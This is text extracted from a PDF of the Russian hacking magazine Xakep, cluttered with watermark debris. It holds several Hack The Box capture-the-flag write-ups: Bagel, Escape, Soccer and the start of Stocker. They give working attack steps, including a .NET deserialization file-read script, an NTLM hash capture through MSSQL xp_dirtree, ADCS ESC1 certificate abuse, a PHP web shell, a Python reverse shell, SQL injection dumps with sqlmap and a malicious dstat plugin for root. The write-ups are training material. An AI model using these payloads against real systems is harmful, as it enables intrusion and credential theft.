книги хакеры / журнал хакер / ха-291_Optimized
.pdf
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
|||||
|
to |
|
|
|
||||||
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
c |
|
|
|
|
||
|
p |
|
|
|
|
g |
|
|
||
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
← НАЧАЛО СТАТЬИw Click |
|
BUY |
|
m |
||||||
to |
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
c |
|
|
.c |
|
||
|
|
p |
|
|
g |
|
|
|||
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
ЗАХВАТЫВАЕМ СЕРВЕР ЧЕРЕЗ ДЕСЕРИАЛИЗАЦИЮ JSON В .NET
ТОЧКА ОПОРЫ
Мы можем использовать уязвимость десериали зации и в качестве параметра предос тавить сериали зован ный объект , что приведе т к его выполнению . Так, в программе есть класс File, который содержи т функци ю ReadFile, чита
ющую файл order.txt в каталоге /opt/bagel/orders/.
Исходный код класса File
Исходный код класса File (продол жение )
Будем использовать функци ю ReadFile для чтения произволь ных файлов с помощью следующей нагрузки .
{
"RemoveOrder": {
"$type": "bagel_server.File, bagel",
"ReadFile": "../../../../../../etc/passwd"
}
}
В атрибуте $type указыва ем тип объекта bagel_server.File, bagel, а в атрибуте ReadFile — путь к читаемо му файлу . Для работы коннекта
с веб сокетом напишем простой код на Python.
import asyncio
import json
import sys
from websockets import connect
async def hello(uri):
async with connect(uri) as websocket:
order = {"RemoveOrder": {"$type": "bagel_server.File, bagel",
"ReadFile": "../../../../../.." + sys.argv[1]}}
data = str(json.dumps(order))
await websocket.send(data)
resp = await websocket.recv()
print(json.loads(resp)["RemoveOrder"]["ReadFile"])
asyncio.run(hello("ws://bagel.htb:5000/"))
Содер жимое файла /etc/passwd
Так как приложе ние может работать от имени другого пользовате ля (не wwwdata), пробуем прочитать приват ный SSH-ключ ~/.ssh/id_rsa и получаем его.
Приват ный SSH-ключ пользовате ля phil
Копиру ем ключ, назнача ем необходимые права командой chmod 0600 id_rsa и подклю чаемся к хосту .
Флаг пользовате ля
ПРОДВИЖЕНИЕ
Вспомина ем , что у нас есть пароль для подклю чения к базе данных , который мы узнали раньше . Попробу ем использовать его для авториза ции от имени пользовате ля developer локально . Пароль подошел, и мы получили новую сессию .
Сессия пользовате ля developer
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Одн о из первых мест, которые нужно проверить при повышении привиле гий, — это настрой ки sudoers. Получить их можно командой sudo -l.
Настрой ки sudoers
Так мы узнаем , что можем выполнить команду /usr/bin/dotnet от имени пользовате ля root без ввода пароля. В таких случаях первым делом я про веряю базу GTFOBins: нет ли там готовых трюков для нужного приложе ния ? Способ эксплу ата ции программы dotnet под sudo нашелся .
GTFOBins — это подборка способов злоупот ребле ния функци ями рас пространен ных программ для Unix. Используя эти рецепты , можно быстро получить доступ к командным оболоч кам , повысить привиле гии или передать файлы .
Техника эксплу ата ции dotnet под sudo
Значит , мы можем открыть dotnet в интерак тивном режиме и запустить файл командной оболоч ки , что даст нам шелл в привиле гиро ван ном контек сте .
sudo /usr/bin/dotnet fsi
System.Diagnostics.Process.Start("/bin/sh").WaitForExit();;
Флаг рута
У нас есть флаг рута, а значит , машина захвачена !
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
|||||
|
to |
|
|
|
||||||
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
c |
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
ЭКСПЛУАТИРУЕМ ТИПИЧНЫЕ УЯЗВИМОСТИ ACTIVE DIRECTORY
В этом райтапе я на примерах покажу, как применять простей шие техники для зах вата домена: аноним ный логин на SMBресурсе , эксфильтра цию NTLM-хеша из MS SQL и повышение привиле гий ESC1 через службу сертифика ции Active Directory.
RalfHacker hackerralf8@gmail.com
Подклю чать ся к машинам с HTB рекомендует ся только через VPN. Не делай этого с компьюте ров , где есть важные для тебя данные , так как ты ока жешься в общей сети с другими участни ками .
РАЗВЕДКА Сканирование портов
Добав ляем IP-адрес машины в /etc/hosts:
10.10.11.202 escape.htb
И запускаем сканиро вание портов .
Сканиро вание портов — стандар тный первый шаг при любой атаке . Он поз воляе т атакующе му узнать, какие службы на хосте принима ют соединение . На основе этой информации выбирается следующий шаг к получению точки входа .
Наибо лее известный инстру мент для сканиро вания — это Nmap. Улучшить результаты его работы ты можешь при помощи следующе го скрипта :
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действу е т в два этапа . На первом произво дит ся обычное быстрое ска нирование , на втором — более тщатель ное сканиро вание , с использовани ем имеющих ся скриптов (опция -A).
Резуль та т работы скрипта
В результатах сканиро вания видим множес тво открытых портов , что типично для серверов Windows:
•53 — служба DNS;
•135 — служба удален ного вызова процедур (Microsoft RPC). Использует ся для операций взаимо действия контрол лер — контрол лер и контрол лер — клиент ;
•139 — служба сеансов NetBIOS, NetLogon;
•389 — служба LDAP;
•445 — служба SMB;
•464 — служба смены пароля Kerberos;
•593 (HTTP-RPC-EPMAP) — использует ся в службах DCOM и MS Exchange;
•636 — LDAP с шифровани ем SSL или TLS;
•5985 — служба удален ного управления WinRM;
•9389 — веб службы AD DS.
RDP и LDAP раскры вают нам имя домена и компьюте ра. Добавим их в /etc/ hosts.
10.10.11.202 escape.htb sequel.htb dc.sequel.htb
ТОЧКА ВХОДА
Первым делом пробуем авториза цию от имени гостя на разных службах , начиная с SMB. Для тестирова ния SMB лучше всего использовать программу CrackMapExec, для которой уже успели написать множес тво дополнитель
ных модулей.
cme smb 10.10.11.202 -u 'guest' -p '' --shares
Общие ресурсы SMB
Каталог Public — нестандар тный, поэтому нас интересу ет его содержимое . Для работы с SMB-ресурсом будем использовать скрипт impacketsmbclient из набора скриптов impacket.
impacket-smbclient 'guest@10.10.11.202'
use Public
Содер жимое общег о ресурса Public
Ресурс содержи т документ PDF, который можно скачать такой командой :
get SQL Server Procedures.pdf
Файл будет сохранен в текущем каталоге . Просматри ваем файл и находим учетные данные для подклю чения к службе MS SQL.
Содер жимое скачан ного PDF-документа
ТОЧКА ОПОРЫ
В списке открытых портов отсутству ет порт 1433, на котором по умолчанию работае т служба MS SQL Server, но, несмотря на это, все равно попробу ем подклю читься к службе с помощью скрипта impacket-mssqlclient, тоже из impacket.
impacket-mssqlclient WORKGROUP/PublicUser:GuestUserCantWrite1@10.10.
11.202
Подклю чить ся к службе удалось , поэтому пробуем увести хеш пароля поль зователя , от имени которого и работае т служба . Запускаем на локальном хосте утилиту responder, которая поможет нам получить хеш.
sudo responder -I tun0 -v
А теперь обращаем ся к ресурсу из SQL с помощью команды xp_dirtree.
xp_dirtree '\\10.10.14.125\test'
Запрос на сервер из SQL
Получен ный NetNTLMv2-хеш
Получа ем NetNTLMv2-хеш пароля пользовате ля sql_svc. Этот тип хеша перебирает ся очень быстро . Брутить будем при помощи hashcat, указав режим перебора 5600.
hashcat -m 5600 -a 0 hashes.txt rockyou.txt
Резуль та т перебора пароля
Получен ный пароль проверя ем с помощью CrackMapExec. Пробуем авто ризовать ся для использования службы WinRM.
cme winrm 10.10.11.202 -u 'sql_svc' -p 'REGGIE1234ronnie'
Провер ка учетных данных
А теперь подклю чаем ся к службе WinRM с помощью утилиты evil-winrm.
evil-winrm -i 10.10.11.202 -u sql_svc -p REGGIE1234ronnie
Сессия пользовате ля sql_svc
ПРОДВИЖЕНИЕ |
|
|
|
|
|
|
|
|
|
Теперь |
нам необходимо |
собрать |
информацию . Обычно я использую для это |
||||||
го скрипты PEASS, и |
если в Linux альтер натив |
им |
не существу ет , то |
||||||
для Windows есть еще SharpUp и Seatbelt. Второй |
помог найти сервер |
||||||||
|
|
|
|
|
|
|
|||
службы |
сертифика |
ции Active Directory (ADCS) — sequal-DC-CA. |
.\Seatbelt.exe -group=system
Информа ция о сертифика тах
Также на диске C: находим каталог SQLServer, а в нем — логи службы .
Содер жимое каталога SQLServer
В самом логе есть сообщения об ошибке авториза ции пользовате ля Ryan. Cooper, а также пользовате ля NuclearMosquito3. Второе имя пользовате ля похоже на введен ный по ошибке пароль. Распростра нен ная ошибка , которой мы сможем восполь зовать ся .
Содер жимое файла ERRORLOG.BAK
Проверим , входи т ли найден ный пользователь в группу Remote Management Users. Членств о в ней дает пользовате лям право авториза ции на службе
WinRM.
net localgroup "Remote Management Users"
Члены группы Remote Management Users
Так мы можем залогинить ся на WinRM, что дает нам интерак тивную сессию пользовате ля.
evil-winrm -i 10.10.11.202 -u 'Ryan.Cooper' -p 'NuclearMosquito3'
Флаг пользовате ля
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Теперь вернемся к службе сертифика ции Active Directory, которая часто может помочь захватить целый домен. В основном способы эксплу атации ADCS завязаны на неправиль но сконфигури рованные шаблоны сертифика тов, а также на права доступа к этим шаблонам и самой службе .
Получить информацию о службе сертифика ции позволя е т программа Certify. Запускаем ее с командой find.
.\Certify.exe find /vulnerable
Информа ция о службе ADCS и уязвимый шаблон сертифика та
Certify нашла «уязвимый шаблон сертифика та » и оказалась права . Каждая техника имее т свою маркиров ку , и в данном случае мы можем использовать технику ESC1. Этому способс тву е т выполнение следующих требова ний :
1.У шаблона сертифика та в свойстве msPKI-Certificate-Name-Flag установ лен флаг ENROLLEE_SUPPLIES_SUBJECT, в результате чего зап рашивающий может сам установить атрибу т SAN (subjectAltName).
2.Сертифика т можн о использовать для аутентифика ции клиента (client
authentication).
3. Текущий пользователь имее т права для регистра ции сертифика та без утвержде ния менеджера ADCS.
Таким образом , эта техника основана на возможнос ти изменения SAN сер тификата и позволя ет выпустить сертифика т для любого пользовате ля домена, включая админис тратора домена! Это тоже можно сделать
с помощью Certify.
.\Certify.exe request /ca:dc.sequel.htb\sequel-DC-CA /template:
UserAuthentication /altname:Administrator
Выпуск сертифика та для пользовате ля Administrator
И мы получаем сертифика т и приват ный ключ, который можно использовать для аутентифика ции пользовате ля в домене. Но сначала нужно перевести сертифика т из формата PEM в форма т PFX.
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced
Cryptographic Provider v1.0" -export -out cert.pfx
А теперь с помощью еще одного незаменимо го инстру мента — Rubeus —
проведем атаку pass the cert для аутентифика ции в домене и получения тикета пользовате ля Administrator. Затем выполним атаку UnPAC the hash, чтобы получить тикет пользовате ля и NTLM-хеш его пароля. Rubeus позволя ет сделать все это одной командой .
.\Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /
password:123 /getcredentials
Выпол нение атак pass the cert и UnPAC the hash
А теперь с помощью pass the hash подклю чаем ся к службе WinRM и забираем флаг рута.
evil-winrm -i 10.10.11.202 -u 'Administrator' -H
'A52F78E4C751E5F5E17E1E9F3E58F4EE'
Флаг рута
Машина захвачена !
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|
|||
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
||||||
|
to |
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
c |
|
|
|
|
|
||
|
p |
df |
|
|
|
|
e |
|
|||
|
-x |
|
|
g |
|
|
|
||||
|
|
|
n |
|
|
|
|
||||
|
|
|
ha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
|
|
||||
|
|
|
|
to |
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
c |
|
|
|
.c |
|
||
|
|
p |
df |
|
|
|
e |
|
|||
|
|
|
|
|
g |
|
|
|
|||
|
|
|
|
|
n |
|
|
|
|
||
|
|
|
|
-x ha |
|
|
|
|
|
ПОВЫШАЕМ ПРИВИЛЕГИИ
В LINUX ЧЕРЕЗ СВОЙ ПЛАГИН ДЛЯ
DOAS
В этом райтапе я покажу, как написать вре доносный плагин для doas — замены sudo, которая считает ся более безопасной . Но прежде , чем будем захватывать сис тему, мы проник нем в нее благода ря RCE в Tiny File Manager, а затем напишем свой плагин для sqlmap, чтобы повысить при вилегии .
RalfHacker hackerralf8@gmail.com
Полиго ном для всех этих упражнений нам послужи т трениро воч ная машина Soccer с площад ки Hack The Box. Уровень ее сложности отмечен как легкий .
Подклю чать ся к машинам с HTB рекомендует ся только через VPN. Не делай этого с компьюте ров , где есть важные для тебя данные , так как ты ока жешься в общей сети с другими участни ками .
РАЗВЕДКА Сканирование портов
Добав ляем IP-адрес машины в /etc/hosts:
10.10.11.194 soccer.htb
И запускаем сканиро вание портов .
Сканиро вание портов — стандар тный первый шаг при любой атаке . Он поз воляе т атакующе му узнать, какие службы на хосте принима ют соединение . На основе этой информации выбирается следующий шаг к получению точки входа .
Наибо лее известный инстру мент для сканиро вания — это Nmap. Улучшить результаты его работы ты можешь при помощи следующе го скрипта :
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действу е т в два этапа . На первом произво дит ся обычное быстрое ска нирование , на втором — более тщатель ное сканиро вание , с использовани ем имеющих ся скриптов (опция -A).
Резуль та т работы скрипта
Сканер обнаружи л три открытых порта :
•22 — служба OpenSSH 8.2p1;
•80 — веб сервер Nginx 1.18.0;
•9091 — неизвес тный веб сервер .
Порт 9091 пока загадочен для нас, SSH, как всегда , оставляем до момента , когда мы завладе ем учетной записью, поэтому остается только изучать сайт, расположен ный на порте 80.
Главная страница сайта soccer.htb
Нас встречае т сайт визитка . Посколь ку никаких интерес ных функций у него нет, перейдем к активному сканиро вани ю и попытаемся выявить скрытые файлы и каталоги .
ТОЧКА ВХОДА
Первым делом сканиру ем скрытые каталоги на веб сервере с помощью feroxbuster.
Одн о из первых действий при тестирова нии безопасности веб приложе ния — это сканиро вание методом перебора каталогов , чтобы найти скрытую информаци ю и недоступные обычным посетителям функции . Для этого можно использовать программы вроде dirsearch, DIRB или fuf. Я предпочитаю feroxbuster.
При запуске указыва ем следующие параметры :
•-u — URL;
•-w — словарь (я использую словари из набора SecLists);
•-t — количеств о потоков;
•-d — глубина сканиро вания .
feroxbuster -u http://soccer.htb/ -w directory_2.3_medium_lowercase.
txt -t 256
Резуль та т сканиро вания каталогов
На странице /tiny нас встречае т страница авториза ции Tiny File Manager.
Страница авториза ции Tiny File Manager
На вики странице Security and User Management находим учетные данные , выставля емые по умолчанию :
admin : admin@123
user : 12345
Учетные данные по умолчани ю для Tiny File Manager
Повез ло! Авторизу емся с учетной записью admin и получаем доступ к фай ловому менеджеру .
Главная страница файлового менеджера
Мы раздобыли какие то файлы , но нам нужны не они, а доступ к системе . Попробу ем поискать готовые экспло иты для Tiny File Manager, благо версия указана — 2.4.3.
Первая же ссылка в Google сообщае т нам о том, что есть RCE через заг рузку файла .
Поиск экспло итов в Google
ТОЧКА ОПОРЫ
Сканиро вание каталогов показало , что существу е т каталог uploads. Заг рузим туда самый простой веб шелл.
<?php system($_GET['cmd'])?>
Загрузка файла
Листинг директории /uploads
Файл загружен , поэтому можем проверить его работу, выполнив команду id.
curl 'http://soccer.htb/tiny/uploads/shell.php?cmd=id'
Резуль та т выполнения команды id
Теперь запустим реверс шелл на Python 3.
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.
AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.78",4321));os.dup2(
s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import
pty;pty.spawn("sh")'
Обратный шелл — это подклю чение , которое активиру е т атакуемая машина, а мы принима ем и таким образом подклю чаем ся к ней, чтобы выполнять команды от лица пользовате ля , запустивше го шелл. Для приема соединения необходим о создать на локальной машине listener, то есть «слушатель ».
Его подклю чение будем ловить на листенер :
pwncat-cs -lp 4321
Получе ние новой сессии
Продолжение статьи →
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
|||||
|
to |
|
|
|
||||||
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
c |
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
← НАЧАЛО СТАТЬИw Click |
|
BUY |
|
m |
||||||
to |
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
ПОВЫШАЕМ ПРИВИЛЕГИИ В LINUX ЧЕРЕЗ СВОЙ ПЛАГИН ДЛЯ DOAS
ПРОДВИЖЕНИЕ
Теперь нам необходимо собрать информацию . Для этого восполь зуем ся
PEASS.
Что делать после того, как мы получили доступ в систему от имени поль зователя ? Вариантов дальнейшей эксплу ата ции и повышения привиле гий может быть очень много , как в Linux, так и в Windows. Чтобы собрать информаци ю и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов , которые проверя ю т сис
тему на автомате и выдают подробный отчет о потенциаль но интерес ных файлах , процес сах и настрой ках .
Загрузим на хост скрипт для Linux, дадим право на выполнение и запустим сканиро вание . В выводе будет много информации , поэтому отберем только значимую .
Из файла /etc/hosts узнаем о еще одном поддомене — soc-player. soccer.htb.
Информа ция о сети
Среди открытых портов отмечаем порт 3306, на котором работае т служба mysql.
Откры тые порты
Флаг находится у пользовате ля player, поэтому продвигать ся нам нужно к нему.
Файлы в каталогах других пользовате лей
Среди «неродных » файлов системы присутс тву е т doas.
Файлы , вероятн о добавленные пользовате лем
Добав ляем новый найден ный поддомен в файл /etc/hosts своег о хоста и смотрим новый сайт.
10.10.11.194 soccer.htb soc-player.soccer.htb
Главная страница сайта soc-player.soccer.htb
После регистра ции и авториза ции нам открывает ся функция брониро вания билета на матч.
Форма брониро вания билета
Отмеча ем уже присвоен ный ID билета (над полем ввода ). После ввода этого ID получаем ответ, что билет существу ет. В Burp History запроса
не находим, но зато появляют ся сообщения в истории веб сокетов, где мы и обнаружи ваем наш запрос и ответ.
Запрос билета
Запрос на сервер
|
|
Отве т сервера |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Так как на хосте работае т СУБД, проверя |
ем |
несколь |
кими |
нагрузка |
ми |
|||
для SQL-инъекций |
параметр id, и одна из нагрузок |
дает результат . |
|
{
"id":"-1 or 1=1 -- -"
}
Запрос с нагрузкой
SQL injection
Чтобы автомати зировать и ускорить эксфильтра цию данных из базы, можно использовать sqlmap. Для этог о нужн о будет написать прокси сервер , который будет принимать запросы HTTP и отправлять их на удален ный сервер через веб сокет. Откроем исходный код сайта и найдем URL, куда поступа ют запросы через веб сокеты.
Исходный код страницы /check
Теперь реализуем наш прокси сервер .
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection
ws_server = "ws://soc-player.soccer.htb:9091"
def send_ws(payload):
ws = create_connection(ws_server)
message = unquote(payload).replace('"',''')
data = '{"id":"%s"}' % message
ws.send(data)
resp = ws.recv()
ws.close()
if resp:
return resp
else:
return ''
def middleware_server(host_port,content_type="text/plain"):
class CustomHandler(SimpleHTTPRequestHandler):
def do_GET(self) -> None:
self.send_response(200)
try:
payload = urlparse(self.path).query.split('=',1)[1]
except IndexError:
payload = False
if payload:
content = send_ws(payload)
else:
content = 'No parameters specified!'
self.send_header("Content-type", content_type)
self.end_headers()
self.wfile.write(content.encode())
return
class _TCPServer(TCPServer):
allow_reuse_address = True
httpd = _TCPServer(host_port, CustomHandler)
httpd.serve_forever()
print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")
try:
middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
pass
Запуск прокси сервера
Теперь запускаем sqlmap, указав адрес прокси сервера :
http://localhost:8081/?id=
И выбираем рабочую технику Boolean Based.
sqlmap -u 'http://localhost:8081/?id=54172' --technique B --level 5
--risk 3
Определе ние нагрузки sqlmap
Sqlmap определи л рабочую нагрузку , теперь мы можем получить список баз данных (параметр --dbs).
sqlmap -u 'http://localhost:8081/?id=54172' --technique B --level 5
--risk 3 --dbs
Сущес твующие базы данных
Нам интерес на база данных soccer_db, узнаем , какие таблицы она содержит (параметр --tables).
sqlmap -u 'http://localhost:8081/?id=54172' --technique B --level 5
--risk 3 -D soccer_db --tables
В базе всег о одна таблица с говорящим названи ем accounts, получим из нее все данные (параметр --dump).
Таблицы в базе soccer_db
sqlmap -u 'http://localhost:8081/?id=54172' --technique B --level 5
--risk 3 -D soccer_db -T accounts --dump
Данные таблицы accounts
Получен ный пароль можно использовать для авториза ции по SSH.
Флаг пользовате ля
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Ранее мы нашли doas, взглянем на его настрой ки:
cat /usr/local/etc/doas.conf
Содер жимое файла doas.conf
Эта строчка значит , что пользователь player без ввода пароля может от име ни пользовате ля root запустить команду /usr/bin/dstat. Про dstat под робно почитать можн о в докумен тации . Там же находим и информаци ю о пла гинах dstat, которые старту ют при запуске самого dstat.
Плагин должен представ лять собой скрипт на Python dstat_*.py, рас положенный в одном из следующих каталогов .
Катало ги для плагинов dstat
Пооче редно проверя ем эти каталоги и находим, что у группы player, где мы и состоим , есть прав о записи в один из них:
/usr/local/share/dstat
Содер жимое каталога /usr/local/share/
В найден ном каталоге создадим плагин dstat_ralf.py, который просто запусти т командну ю оболоч ку /bin/bash.
import os
os.system('/bin/bash')
Теперь просмотрим список плагинов и найдем свой.
dstat --list
Список плагинов dstat
А теперь запускаем свой плагин от имени пользовате ля root, что дает нам привиле гированную командну ю оболоч ку.
doas -u root /usr/bin/dstat --ralf
Флаг рута
Мы получили флаг рута, а значит , машина захвачена !
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
c |
|
o m |
ВЗЛОМ |
||||
|
|
|
|
|
|
|||||
|
|
|
to |
BUY |
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|
||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
ИСПОЛЬЗУЕМ ГЕНЕРАТОР PDF ДЛЯ ПРОИЗВОЛЬНОГО ЧТЕНИЯ ФАЙЛОВ
В этом райтапе |
я покажу типичный |
сце |
||||||||||
нарий захвата |
веб сервера |
. Сначала |
про |
|||||||||
ведем |
базовое |
сканиро |
вание |
|
сайта |
|||||||
на предмет |
скрытых каталогов , затем про |
|||||||||||
ведем NoSQL-инъекцию |
, чтобы |
обойти |
||||||||||
авториза |
цию , и HTML-инъекцию |
, чтобы |
||||||||||
прочитать |
|
произволь |
ные |
|
файлы . |
|||||||
При повышении |
привиле |
гий |
используем |
|||||||||
обход каталогов |
Bash для |
чтения |
поль |
|||||||||
зовательско го скрипта . |
|
|
|
|
|
|
|
|
RalfHacker hackerralf8@gmail.com
Захватывать будем трениро воч ну ю машину Stocker с площад ки Hack The Box. Уровень ее сложности — легкий .
Подклю чать ся к машинам с HTB рекомендует ся только через VPN. Не делай этого с компьюте ров , где есть важные для тебя данные , так как ты ока жешься в общей сети с другими участни ками .
РАЗВЕДКА Сканирование портов
Добав ляем IP-адрес машины в /etc/hosts:
10.10.11.196 stocker.htb
И запускаем сканиро вание портов .
Сканиро вание портов — стандар тный первый шаг при любой атаке . Он поз воляе т атакующе му узнать, какие службы на хосте принима ют соединение . На основе этой информации выбирается следующий шаг к получению точки входа .
Наибо лее известный инстру мент для сканиро вания — это Nmap. Улучшить результаты его работы ты можешь при помощи следующе го скрипта :
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
